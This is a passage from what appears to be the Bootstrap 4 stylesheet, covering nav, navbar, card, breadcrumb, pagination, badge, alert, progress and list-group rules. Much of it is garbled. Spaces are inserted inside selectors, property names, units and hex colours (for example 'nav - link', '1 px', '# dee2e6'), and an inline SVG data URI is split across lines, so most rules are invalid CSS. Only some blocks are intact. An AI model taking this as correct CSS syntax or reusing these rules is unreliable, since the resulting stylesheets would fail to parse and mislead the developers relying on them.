    flex - wrap: wrap;
    padding - left: 0;
    margin - bottom: 0;
    list - style: none
}

.nav - link {
    display: block;
    padding: .5 rem 1 rem
}

.nav - link: focus,
    .nav - link: hover {
        text - decoration: none
    }

.nav - link.disabled {
    color: #6c757d
    }

    .nav-tabs {
      border-bottom: 1px solid # dee2e6
}

.nav - tabs.nav - item {
    margin - bottom: -1 px
}

.nav - tabs.nav - link {
    border: 1 px solid transparent;
    border - top - left - radius: .25 rem;
    border - top - right - radius: .25 rem
}

.nav - tabs.nav - link: focus,
    .nav - tabs.nav - link: hover {
        border - color: # e9ecef # e9ecef # dee2e6
    }

.nav - tabs.nav - link.disabled {
    color: #6c757d;
      background-color: transparent;
      border-color: transparent
    }

    .nav-tabs .nav-item.show .nav-link,
    .nav-tabs .nav-link.active {
      color: # 495057;
    background - color: # fff;
    border - color: # dee2e6 # dee2e6 # fff
}

.nav - tabs.dropdown - menu {
    margin - top: -1 px;
    border - top - left - radius: 0;
    border - top - right - radius: 0
}

.nav - pills.nav - link {
    border - radius: .25 rem
}

.nav - pills.nav - link.active,
    .nav - pills.show > .nav - link {
        color: # fff;
        background - color: #007bff
    }

    .nav-fill .nav-item {
      -webkit-box-flex: 1;
      -ms-flex: 1 1 auto;
      flex: 1 1 auto;
      text-align: center
    }

    .nav-justified .nav-item {
      -ms-flex-preferred-size: 0;
      flex-basis: 0;
      -webkit-box-flex: 1;
      -ms-flex-positive: 1;
      flex-grow: 1;
      text-align: center
    }

    .tab-content>.tab-pane {
      display: none
    }

    .tab-content>.active {
      display: block
    }

    .navbar {
      position: relative;
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -ms-flex-wrap: wrap;
      flex-wrap: wrap;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center;
      -webkit-box-pack: justify;
      -ms-flex-pack: justify;
      justify-content: space-between;
      padding: .5rem 1rem
    }

    .navbar>.container,
    .navbar>.container-fluid {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -ms-flex-wrap: wrap;
      flex-wrap: wrap;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center;
      -webkit-box-pack: justify;
      -ms-flex-pack: justify;
      justify-content: space-between
    }

    .navbar-brand {
      display: inline-block;
      padding-top: .3125rem;
      padding-bottom: .3125rem;
      margin-right: 1rem;
      font-size: 1.25rem;
      line-height: inherit;
      white-space: nowrap
    }

    .navbar-brand:focus,
    .navbar-brand:hover {
      text-decoration: none
    }

    .navbar-nav {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-orient: vertical;
      -webkit-box-direction: normal;
      -ms-flex-direction: column;
      flex-direction: column;
      padding-left: 0;
      margin-bottom: 0;
      list-style: none
    }

    .navbar-nav .nav-link {
      padding-right: 0;
      padding-left: 0
    }

    .navbar-nav .dropdown-menu {
      position: static;
      float: none
    }

    .navbar-text {
      display: inline-block;
      padding-top: .5rem;
      padding-bottom: .5rem
    }

    .navbar-collapse {
      -ms-flex-preferred-size: 100%;
      flex-basis: 100%;
      -webkit-box-flex: 1;
      -ms-flex-positive: 1;
      flex-grow: 1;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center
    }

    .navbar-toggler {
      padding: .25rem .75rem;
      font-size: 1.25rem;
      line-height: 1;
      background-color: transparent;
      border: 1px solid transparent;
      border-radius: .25rem
    }

    .navbar-toggler:focus,
    .navbar-toggler:hover {
      text-decoration: none
    }

    .navbar-toggler:not(:disabled):not(.disabled) {
      cursor: pointer
    }

    .navbar-toggler-icon {
      display: inline-block;
      width: 1.5em;
      height: 1.5em;
      vertical-align: middle;
      content: "";
      background: no-repeat center center;
      background-size: 100% 100%
    }

    @media (max-width:575.98px) {

      .navbar-expand-sm>.container,
      .navbar-expand-sm>.container-fluid {
        padding-right: 0;
        padding-left: 0
      }
    }

    @media (min-width:576px) {
      .navbar-expand-sm {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-flow: row nowrap;
        flex-flow: row nowrap;
        -webkit-box-pack: start;
        -ms-flex-pack: start;
        justify-content: flex-start
      }

      .navbar-expand-sm .navbar-nav {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-direction: row;
        flex-direction: row
      }

      .navbar-expand-sm .navbar-nav .dropdown-menu {
        position: absolute
      }

      .navbar-expand-sm .navbar-nav .dropdown-menu-right {
        right: 0;
        left: auto
      }

      .navbar-expand-sm .navbar-nav .nav-link {
        padding-right: .5rem;
        padding-left: .5rem
      }

      .navbar-expand-sm>.container,
      .navbar-expand-sm>.container-fluid {
        -ms-flex-wrap: nowrap;
        flex-wrap: nowrap
      }

      .navbar-expand-sm .navbar-collapse {
        display: -webkit-box !important;
        display: -ms-flexbox !important;
        display: flex !important;
        -ms-flex-preferred-size: auto;
        flex-basis: auto
      }

      .navbar-expand-sm .navbar-toggler {
        display: none
      }

      .navbar-expand-sm .dropup .dropdown-menu {
        top: auto;
        bottom: 100%
      }
    }

    @media (max-width:767.98px) {

      .navbar-expand-md>.container,
      .navbar-expand-md>.container-fluid {
        padding-right: 0;
        padding-left: 0
      }
    }

    @media (min-width:768px) {
      .navbar-expand-md {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-flow: row nowrap;
        flex-flow: row nowrap;
        -webkit-box-pack: start;
        -ms-flex-pack: start;
        justify-content: flex-start
      }

      .navbar-expand-md .navbar-nav {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-direction: row;
        flex-direction: row
      }

      .navbar-expand-md .navbar-nav .dropdown-menu {
        position: absolute
      }

      .navbar-expand-md .navbar-nav .dropdown-menu-right {
        right: 0;
        left: auto
      }

      .navbar-expand-md .navbar-nav .nav-link {
        padding-right: .5rem;
        padding-left: .5rem
      }

      .navbar-expand-md>.container,
      .navbar-expand-md>.container-fluid {
        -ms-flex-wrap: nowrap;
        flex-wrap: nowrap
      }

      .navbar-expand-md .navbar-collapse {
        display: -webkit-box !important;
        display: -ms-flexbox !important;
        display: flex !important;
        -ms-flex-preferred-size: auto;
        flex-basis: auto
      }

      .navbar-expand-md .navbar-toggler {
        display: none
      }

      .navbar-expand-md .dropup .dropdown-menu {
        top: auto;
        bottom: 100%
      }
    }

    @media (max-width:991.98px) {

      .navbar-expand-lg>.container,
      .navbar-expand-lg>.container-fluid {
        padding-right: 0;
        padding-left: 0
      }
    }

    @media (min-width:992px) {
      .navbar-expand-lg {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-flow: row nowrap;
        flex-flow: row nowrap;
        -webkit-box-pack: start;
        -ms-flex-pack: start;
        justify-content: flex-start
      }

      .navbar-expand-lg .navbar-nav {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-direction: row;
        flex-direction: row
      }

      .navbar-expand-lg .navbar-nav .dropdown-menu {
        position: absolute
      }

      .navbar-expand-lg .navbar-nav .dropdown-menu-right {
        right: 0;
        left: auto
      }

      .navbar-expand-lg .navbar-nav .nav-link {
        padding-right: .5rem;
        padding-left: .5rem
      }

      .navbar-expand-lg>.container,
      .navbar-expand-lg>.container-fluid {
        -ms-flex-wrap: nowrap;
        flex-wrap: nowrap
      }

      .navbar-expand-lg .navbar-collapse {
        display: -webkit-box !important;
        display: -ms-flexbox !important;
        display: flex !important;
        -ms-flex-preferred-size: auto;
        flex-basis: auto
      }

      .navbar-expand-lg .navbar-toggler {
        display: none
      }

      .navbar-expand-lg .dropup .dropdown-menu {
        top: auto;
        bottom: 100%
      }
    }

    @media (max-width:1199.98px) {

      .navbar-expand-xl>.container,
      .navbar-expand-xl>.container-fluid {
        padding-right: 0;
        padding-left: 0
      }
    }

    @media (min-width:1200px) {
      .navbar-expand-xl {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-flow: row nowrap;
        flex-flow: row nowrap;
        -webkit-box-pack: start;
        -ms-flex-pack: start;
        justify-content: flex-start
      }

      .navbar-expand-xl .navbar-nav {
        -webkit-box-orient: horizontal;
        -webkit-box-direction: normal;
        -ms-flex-direction: row;
        flex-direction: row
      }

      .navbar-expand-xl .navbar-nav .dropdown-menu {
        position: absolute
      }

      .navbar-expand-xl .navbar-nav .dropdown-menu-right {
        right: 0;
        left: auto
      }

      .navbar-expand-xl .navbar-nav .nav-link {
        padding-right: .5rem;
        padding-left: .5rem
      }

      .navbar-expand-xl>.container,
      .navbar-expand-xl>.container-fluid {
        -ms-flex-wrap: nowrap;
        flex-wrap: nowrap
      }

      .navbar-expand-xl .navbar-collapse {
        display: -webkit-box !important;
        display: -ms-flexbox !important;
        display: flex !important;
        -ms-flex-preferred-size: auto;
        flex-basis: auto
      }

      .navbar-expand-xl .navbar-toggler {
        display: none
      }

      .navbar-expand-xl .dropup .dropdown-menu {
        top: auto;
        bottom: 100%
      }
    }

    .navbar-expand {
      -webkit-box-orient: horizontal;
      -webkit-box-direction: normal;
      -ms-flex-flow: row nowrap;
      flex-flow: row nowrap;
      -webkit-box-pack: start;
      -ms-flex-pack: start;
      justify-content: flex-start
    }

    .navbar-expand>.container,
    .navbar-expand>.container-fluid {
      padding-right: 0;
      padding-left: 0
    }

    .navbar-expand .navbar-nav {
      -webkit-box-orient: horizontal;
      -webkit-box-direction: normal;
      -ms-flex-direction: row;
      flex-direction: row
    }

    .navbar-expand .navbar-nav .dropdown-menu {
      position: absolute
    }

    .navbar-expand .navbar-nav .dropdown-menu-right {
      right: 0;
      left: auto
    }

    .navbar-expand .navbar-nav .nav-link {
      padding-right: .5rem;
      padding-left: .5rem
    }

    .navbar-expand>.container,
    .navbar-expand>.container-fluid {
      -ms-flex-wrap: nowrap;
      flex-wrap: nowrap
    }

    .navbar-expand .navbar-collapse {
      display: -webkit-box !important;
      display: -ms-flexbox !important;
      display: flex !important;
      -ms-flex-preferred-size: auto;
      flex-basis: auto
    }

    .navbar-expand .navbar-toggler {
      display: none
    }

    .navbar-expand .dropup .dropdown-menu {
      top: auto;
      bottom: 100%
    }

    .navbar-light .navbar-brand {
      color: rgba(0, 0, 0, .9)
    }

    .navbar-light .navbar-brand:focus,
    .navbar-light .navbar-brand:hover {
      color: rgba(0, 0, 0, .9)
    }

    .navbar-light .navbar-nav .nav-link {
      color: rgba(0, 0, 0, .5)
    }

    .navbar-light .navbar-nav .nav-link:focus,
    .navbar-light .navbar-nav .nav-link:hover {
      color: rgba(0, 0, 0, .7)
    }

    .navbar-light .navbar-nav .nav-link.disabled {
      color: rgba(0, 0, 0, .3)
    }

    .navbar-light .navbar-nav .active>.nav-link,
    .navbar-light .navbar-nav .nav-link.active,
    .navbar-light .navbar-nav .nav-link.show,
    .navbar-light .navbar-nav .show>.nav-link {
      color: rgba(0, 0, 0, .9)
    }

    .navbar-light .navbar-toggler {
      color: rgba(0, 0, 0, .5);
      border-color: rgba(0, 0, 0, .1)
    }

    .navbar-light .navbar-toggler-icon {
      background-image: url("data:image/svg+xml;charset= utf8,
        % 3 Csvg viewBox = '0 0 30 30'
        xmlns = 'http://www.w3.org/2000/svg' % 3E % 3 Cpath stroke = 'rgba(0, 0, 0, 0.5)'
        stroke - width = '2'
        stroke - linecap = 'round'
        stroke - miterlimit = '10'
        d = 'M4 7h22M4 15h22M4 23h22' / % 3E % 3 C / svg % 3E ")
    }

.navbar - light.navbar - text {
    color: rgba(0, 0, 0, .5)
}

.navbar - light.navbar - text a {
    color: rgba(0, 0, 0, .9)
}

.navbar - light.navbar - text a: focus,
    .navbar - light.navbar - text a: hover {
        color: rgba(0, 0, 0, .9)
    }

.navbar - dark.navbar - brand {
    color: # fff
}

.navbar - dark.navbar - brand: focus,
    .navbar - dark.navbar - brand: hover {
        color: # fff
    }

.navbar - dark.navbar - nav.nav - link {
    color: rgba(255, 255, 255, .5)
}

.navbar - dark.navbar - nav.nav - link: focus,
    .navbar - dark.navbar - nav.nav - link: hover {
        color: rgba(255, 255, 255, .75)
    }

.navbar - dark.navbar - nav.nav - link.disabled {
    color: rgba(255, 255, 255, .25)
}

.navbar - dark.navbar - nav.active > .nav - link,
    .navbar - dark.navbar - nav.nav - link.active,
    .navbar - dark.navbar - nav.nav - link.show,
    .navbar - dark.navbar - nav.show > .nav - link {
        color: # fff
    }

.navbar - dark.navbar - toggler {
    color: rgba(255, 255, 255, .5);
    border - color: rgba(255, 255, 255, .1)
}

.navbar - dark.navbar - toggler - icon {
    background - image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")
}

.navbar - dark.navbar - text {
    color: rgba(255, 255, 255, .5)
}

.navbar - dark.navbar - text a {
    color: # fff
}

.navbar - dark.navbar - text a: focus,
    .navbar - dark.navbar - text a: hover {
        color: # fff
    }

.card {
    position: relative;
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column;
    min - width: 0;
    word - wrap: break -word;
    background - color: # fff;
    background - clip: border - box;
    border: 1 px solid rgba(0, 0, 0, .125);
    border - radius: .25 rem
}

.card > hr {
    margin - right: 0;
    margin - left: 0
}

.card > .list - group: first - child.list - group - item: first - child {
    border - top - left - radius: .25 rem;
    border - top - right - radius: .25 rem
}

.card > .list - group: last - child.list - group - item: last - child {
    border - bottom - right - radius: .25 rem;
    border - bottom - left - radius: .25 rem
}

.card - body {
    -webkit - box - flex: 1; - ms - flex: 1 1 auto;
    flex: 1 1 auto;
    padding: 1.25 rem
}

.card - title {
    margin - bottom: .75 rem
}

.card - subtitle {
    margin - top: -.375 rem;
    margin - bottom: 0
}

.card - text: last - child {
    margin - bottom: 0
}

.card - link: hover {
    text - decoration: none
}

.card - link + .card - link {
    margin - left: 1.25 rem
}

.card - header {
    padding: .75 rem 1.25 rem;
    margin - bottom: 0;
    background - color: rgba(0, 0, 0, .03);
    border - bottom: 1 px solid rgba(0, 0, 0, .125)
}

.card - header: first - child {
    border - radius: calc(.25 rem - 1 px) calc(.25 rem - 1 px) 0 0
}

.card - header + .list - group.list - group - item: first - child {
    border - top: 0
}

.card - footer {
    padding: .75 rem 1.25 rem;
    background - color: rgba(0, 0, 0, .03);
    border - top: 1 px solid rgba(0, 0, 0, .125)
}

.card - footer: last - child {
    border - radius: 0 0 calc(.25 rem - 1 px) calc(.25 rem - 1 px)
}

.card - header - tabs {
    margin - right: -.625 rem;
    margin - bottom: -.75 rem;
    margin - left: -.625 rem;
    border - bottom: 0
}

.card - header - pills {
    margin - right: -.625 rem;
    margin - left: -.625 rem
}

.card - img - overlay {
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    padding: 1.25 rem
}

.card - img {
    width: 100 % ;
    border - radius: calc(.25 rem - 1 px)
}

.card - img - top {
    width: 100 % ;
    border - top - left - radius: calc(.25 rem - 1 px);
    border - top - right - radius: calc(.25 rem - 1 px)
}

.card - img - bottom {
    width: 100 % ;
    border - bottom - right - radius: calc(.25 rem - 1 px);
    border - bottom - left - radius: calc(.25 rem - 1 px)
}

.card - deck {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column
}

.card - deck.card {
    margin - bottom: 15 px
}

@
media(min - width: 576 px) {
    .card - deck {
        -webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
        flex - flow: row wrap;
        margin - right: -15 px;
        margin - left: -15 px
    }

    .card - deck.card {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - flex: 1; - ms - flex: 1 0 0 % ;
        flex: 1 0 0 % ; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
        flex - direction: column;
        margin - right: 15 px;
        margin - bottom: 0;
        margin - left: 15 px
    }
}

.card - group {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column
}

.card - group > .card {
    margin - bottom: 15 px
}

@
media(min - width: 576 px) {
    .card - group {
        -webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
        flex - flow: row wrap
    }

    .card - group > .card {
        -webkit - box - flex: 1; - ms - flex: 1 0 0 % ;
        flex: 1 0 0 % ;
        margin - bottom: 0
    }

    .card - group > .card + .card {
        margin - left: 0;
        border - left: 0
    }

    .card - group > .card: first - child {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

    .card - group > .card: first - child.card - header,
        .card - group > .card: first - child.card - img - top {
            border - top - right - radius: 0
        }

    .card - group > .card: first - child.card - footer,
        .card - group > .card: first - child.card - img - bottom {
            border - bottom - right - radius: 0
        }

    .card - group > .card: last - child {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

    .card - group > .card: last - child.card - header,
        .card - group > .card: last - child.card - img - top {
            border - top - left - radius: 0
        }

    .card - group > .card: last - child.card - footer,
        .card - group > .card: last - child.card - img - bottom {
            border - bottom - left - radius: 0
        }

    .card - group > .card: only - child {
        border - radius: .25 rem
    }

    .card - group > .card: only - child.card - header,
        .card - group > .card: only - child.card - img - top {
            border - top - left - radius: .25 rem;
            border - top - right - radius: .25 rem
        }

    .card - group > .card: only - child.card - footer,
        .card - group > .card: only - child.card - img - bottom {
            border - bottom - right - radius: .25 rem;
            border - bottom - left - radius: .25 rem
        }

    .card - group > .card: not(: first - child): not(: last - child): not(: only - child) {
        border - radius: 0
    }

    .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - footer,
        .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - header,
        .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - img - bottom,
        .card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - img - top {
            border - radius: 0
        }
}

.card - columns.card {
    margin - bottom: .75 rem
}

@
media(min - width: 576 px) {
    .card - columns {
        -webkit - column - count: 3; - moz - column - count: 3;
        column - count: 3; - webkit - column - gap: 1.25 rem; - moz - column - gap: 1.25 rem;
        column - gap: 1.25 rem
    }

    .card - columns.card {
        display: inline - block;
        width: 100 %
    }
}

.breadcrumb {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    padding: .75 rem 1 rem;
    margin - bottom: 1 rem;
    list - style: none;
    background - color: # e9ecef;
    border - radius: .25 rem
}

.breadcrumb - item + .breadcrumb - item::before {
    display: inline - block;
    padding - right: .5 rem;
    padding - left: .5 rem;
    color: #6c757d;
      content: "/"
    }

    .breadcrumb-item+.breadcrumb-item:hover::before {
      text-decoration: underline
    }

    .breadcrumb-item+.breadcrumb-item:hover::before {
      text-decoration: none
    }

    .breadcrumb-item.active {
      color: # 6 c757d
}

.pagination {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex;
    padding - left: 0;
    list - style: none;
    border - radius: .25 rem
}

.page - link {
    position: relative;
    display: block;
    padding: .5 rem.75 rem;
    margin - left: -1 px;
    line - height: 1.25;
    color: #007bff;
      background-color: # fff;
    border: 1 px solid # dee2e6
}

.page - link: hover {
    color: #0056b3;
      text-decoration: none;
      background-color: # e9ecef;
    border - color: # dee2e6
}

.page - link: focus {
    z - index: 2;
    outline: 0;
    box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .25)
}

.page - link: not(: disabled): not(.disabled) {
    cursor: pointer
}

.page - item: first - child.page - link {
    margin - left: 0;
    border - top - left - radius: .25 rem;
    border - bottom - left - radius: .25 rem
}

.page - item: last - child.page - link {
    border - top - right - radius: .25 rem;
    border - bottom - right - radius: .25 rem
}

.page - item.active.page - link {
    z - index: 1;
    color: # fff;
    background - color: #007bff;
      border-color: # 007 bff
}

.page - item.disabled.page - link {
    color: #6c757d;
      pointer-events: none;
      cursor: auto;
      background-color: # fff;
    border - color: # dee2e6
}

.pagination - lg.page - link {
    padding: .75 rem 1.5 rem;
    font - size: 1.25 rem;
    line - height: 1.5
}

.pagination - lg.page - item: first - child.page - link {
    border - top - left - radius: .3 rem;
    border - bottom - left - radius: .3 rem
}

.pagination - lg.page - item: last - child.page - link {
    border - top - right - radius: .3 rem;
    border - bottom - right - radius: .3 rem
}

.pagination - sm.page - link {
    padding: .25 rem.5 rem;
    font - size: .875 rem;
    line - height: 1.5
}

.pagination - sm.page - item: first - child.page - link {
    border - top - left - radius: .2 rem;
    border - bottom - left - radius: .2 rem
}

.pagination - sm.page - item: last - child.page - link {
    border - top - right - radius: .2 rem;
    border - bottom - right - radius: .2 rem
}

.badge {
    display: inline - block;
    padding: .25e m.4e m;
    font - size: 75 % ;
    font - weight: 700;
    line - height: 1;
    text - align: center;
    white - space: nowrap;
    vertical - align: baseline;
    border - radius: .25 rem
}

.badge: empty {
    display: none
}

.btn.badge {
    position: relative;
    top: -1 px
}

.badge - pill {
    padding - right: .6e m;
    padding - left: .6e m;
    border - radius: 10 rem
}

.badge - primary {
    color: # fff;
    background - color: #007bff
    }

    .badge-primary[href]:focus,
    .badge-primary[href]:hover {
      color: # fff;
    text - decoration: none;
    background - color: #0062cc
    }

    .badge-secondary {
      color: # fff;
    background - color: #6c757d
    }

    .badge-secondary[href]:focus,
    .badge-secondary[href]:hover {
      color: # fff;
    text - decoration: none;
    background - color: #545b62
    }

    .badge-success {
      color: # fff;
    background - color: #28a745
    }

    .badge-success[href]:focus,
    .badge-success[href]:hover {
      color: # fff;
    text - decoration: none;
    background - color: #1e7e34
    }

    .badge-info {
      color: # fff;
    background - color: #17a2b8
    }

    .badge-info[href]:focus,
    .badge-info[href]:hover {
      color: # fff;
    text - decoration: none;
    background - color: #117a8b
    }

    .badge-warning {
      color: # 212529;
    background - color: # ffc107
}

.badge - warning[href]: focus,
    .badge - warning[href]: hover {
        color: #212529;
      text-decoration: none;
      background-color: # d39e00
    }

.badge - danger {
    color: # fff;
    background - color: # dc3545
}

.badge - danger[href]: focus,
    .badge - danger[href]: hover {
        color: # fff;
        text - decoration: none;
        background - color: # bd2130
    }

.badge - light {
    color: #212529;
      background-color: # f8f9fa
}

.badge - light[href]: focus,
    .badge - light[href]: hover {
        color: #212529;
      text-decoration: none;
      background-color: # dae0e5
    }

.badge - dark {
    color: # fff;
    background - color: #343a40
    }

    .badge-dark[href]:focus,
    .badge-dark[href]:hover {
      color: # fff;
    text - decoration: none;
    background - color: #1d2124
    }

    .jumbotron {
      padding: 2rem 1rem;
      margin-bottom: 2rem;
      background-color: # e9ecef;
    border - radius: .3 rem
}

@
media(min - width: 576 px) {
    .jumbotron {
        padding: 4 rem 2 rem
    }
}

.jumbotron - fluid {
    padding - right: 0;
    padding - left: 0;
    border - radius: 0
}

.alert {
    position: relative;
    padding: .75 rem 1.25 rem;
    margin - bottom: 1 rem;
    border: 1 px solid transparent;
    border - radius: .25 rem
}

.alert - heading {
    color: inherit
}

.alert - link {
    font - weight: 700
}

.alert - dismissible {
    padding - right: 4 rem
}

.alert - dismissible.close {
    position: absolute;
    top: 0;
    right: 0;
    padding: .75 rem 1.25 rem;
    color: inherit
}

.alert - primary {
    color: #004085;
      background-color: # cce5ff;
    border - color: # b8daff
}

.alert - primary hr {
    border - top - color: #9fcdff
    }

    .alert-primary .alert-link {
      color: # 002752
}

.alert - secondary {
    color: #383d41;
      background-color: # e2e3e5;
    border - color: # d6d8db
}

.alert - secondary hr {
    border - top - color: # c8cbcf
}

.alert - secondary.alert - link {
    color: #202326
    }

    .alert-success {
      color: # 155724;
    background - color: # d4edda;
    border - color: # c3e6cb
}

.alert - success hr {
    border - top - color: # b1dfbb
}

.alert - success.alert - link {
    color: #0b2e13
    }

    .alert-info {
      color: # 0 c5460;
    background - color: # d1ecf1;
    border - color: # bee5eb
}

.alert - info hr {
    border - top - color: # abdde5
}

.alert - info.alert - link {
    color: #062c33
    }

    .alert-warning {
      color: # 856404;
    background - color: # fff3cd;
    border - color: # ffeeba
}

.alert - warning hr {
    border - top - color: # ffe8a1
}

.alert - warning.alert - link {
    color: #533f03
    }

    .alert-danger {
      color: # 721 c24;
    background - color: # f8d7da;
    border - color: # f5c6cb
}

.alert - danger hr {
    border - top - color: # f1b0b7
}

.alert - danger.alert - link {
    color: #491217
    }

    .alert-light {
      color: # 818182;
    background - color: # fefefe;
    border - color: # fdfdfe
}

.alert - light hr {
    border - top - color: # ececf6
}

.alert - light.alert - link {
    color: #686868
    }

    .alert-dark {
      color: # 1 b1e21;
    background - color: # d6d8d9;
    border - color: # c6c8ca
}

.alert - dark hr {
    border - top - color: # b9bbbe
}

.alert - dark.alert - link {
    color: #040505
    }

    @-webkit-keyframes progress-bar-stripes {
      from {
        background-position: 1rem 0
      }

      to {
        background-position: 0 0
      }
    }

    @keyframes progress-bar-stripes {
      from {
        background-position: 1rem 0
      }

      to {
        background-position: 0 0
      }
    }

    .progress {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      height: 1rem;
      overflow: hidden;
      font-size: .75rem;
      background-color: # e9ecef;
    border - radius: .25 rem
}

.progress - bar {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
    flex - direction: column; - webkit - box - pack: center; - ms - flex - pack: center;
    justify - content: center;
    color: # fff;
    text - align: center;
    background - color: #007bff;
      transition: width .6s ease
    }

    .progress-bar-striped {
      background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
      background-size: 1rem 1rem
    }

    .progress-bar-animated {
      -webkit-animation: progress-bar-stripes 1s linear infinite;
      animation: progress-bar-stripes 1s linear infinite
    }

    .media {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-align: start;
      -ms-flex-align: start;
      align-items: flex-start
    }

    .media-body {
      -webkit-box-flex: 1;
      -ms-flex: 1;
      flex: 1
    }

    .list-group {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-orient: vertical;
      -webkit-box-direction: normal;
      -ms-flex-direction: column;
      flex-direction: column;
      padding-left: 0;
      margin-bottom: 0
    }

    .list-group-item-action {
      width: 100%;
      color: # 495057;
    text - align: inherit
}

.list - group - item - action: focus,
    .list - group - item - action: hover {
        color: #495057;
      text-decoration: none;
      background-color: # f8f9fa
    }

.list - group - item - action: active {
    color: #212529;
      background-color: # e9ecef
}

.list - group - item {
    position: relative;
    display: block;
    padding: .75 rem 1.25 rem;
    margin - bottom: -1 px;
    background - color: # fff;
    border: 1 px solid rgba(0, 0, 0, .125)
}

.list - group - item: first - child {
    border - top - left - radius: .25 rem;
    border - top - right - radius: .25 rem
}

.list - group - item: last - child {
    margin - bottom: 0;
    border - bottom - right - radius: .25 rem;
    border - bottom - left - radius: .25 rem
}

.list - group - item: focus,
    .list - group - item: hover {
        z - index: 1;
        text - decoration: none
    }

.list - group - item.disabled,
    .list - group - item: disabled {
        color: #6c757d;
      background-color: # fff
    }

.list - group - item.active {
    z - index: 2;
    color: # fff;
    background - color: #007bff;
      border-color: # 007 bff
}

.list - group - flush.list - group - item {
    border - right: 0;
    border - left: 0;
    border - radius: 0
}

.list - group - flush: first - child.list - group - item: first - child {
    border - top: 0
}

.list - group - flush: last - child.list - group - item: last - child {
    border - bottom: 0
}

.list - group - item - primary {
    color: #004085;
      background-color: # b8daff
}

.list - group - item - primary.list - group - item - action: focus,
    .list - group - item - primary.list - group - item - action: hover {
        color: #004085;
      background-color: # 9 fcdff
    }

.list - group - item - primary.list - group - item - action.active {
    color: # fff;
    background - color: #004085;
      border-color: # 004085
}

.list - group - item - secondary {
    color: #383d41;
      background-color: # d6d8db
}

.list - group - item - secondary.list - group - item - action: focus,
    .list - group - item - secondary.list - group - item - action: hover {
        color: #383d41;
      background-color: # c8cbcf
    }

.list - group - item - secondary.list - group - item - action.active {
    color: # fff;
    background - color: #383d41;
      border-color: # 383 d41
}

.list - group - item - success {
    color: #155724;
      background-color: # c3e6cb
}

.list - group - item - success.list - group - item - action: focus,
    .list - group - item - success.list - group - item - action: hover {
        color: #155724;
      background-color: # b1dfbb
    }

.list - group - item - success.list - group - item - action.active {
    color: # fff;
    background - color: #155724;
      border-color: # 155724
}

.list - group - item - info {
    color: #0c5460;
      background-color: # bee5eb
}

.list - group - item - info.list - group - item - action: focus,
    .list - group - item - info.list - group - item - action: hover {
        color: #0c5460;
      background-color: # abdde5
    }

.list - group - item - info.list - group - item - action.active {
    color: # fff;
    background - color: #0c5460;
      border-color: # 0 c5460
}

.list - group - item - warning {
    color: #856404;
      background-color: # ffeeba
}

.list - group - item - warning.list - group - item - action: focus,
    .list - group - item - warning.list - group - item - action: hover {
        color: #856404;
      background-color: # ffe8a1
    }

.list - group - item - warning.list - group - item - action.active {
    color: # fff;
    background - color: #856404;
      border-color: # 856404
}

.list - group - item - danger {
    color: #721c24;
      background-color: # f5c6cb
}

.list - group - item - danger.list - group - item - action: focus,
    .list - group - item - danger.list - group - item - action: hover {
        color: #721c24;
      background-color: # f1b0b7
    }

.list - group - item - danger.list - group - item - action.active {
    color: # fff;
    background - color: #721c24;
      border-color: # 721 c24
}

.list - group - item - light {
    color: #818182;
      background-color: # fdfdfe
}

.list - group - item - light.list - group - item - action: focus,
    .list - group - item - light.list - group - item - action: hover {
        color: #818182;
      background-color: # ececf6
    }

.list - group - item - light.list - group - item - action.active {
    color: # fff;
    background - color: #818182;
      border-color: # 818182
}

.list - group - item - dark {
    color: #1b1e21;
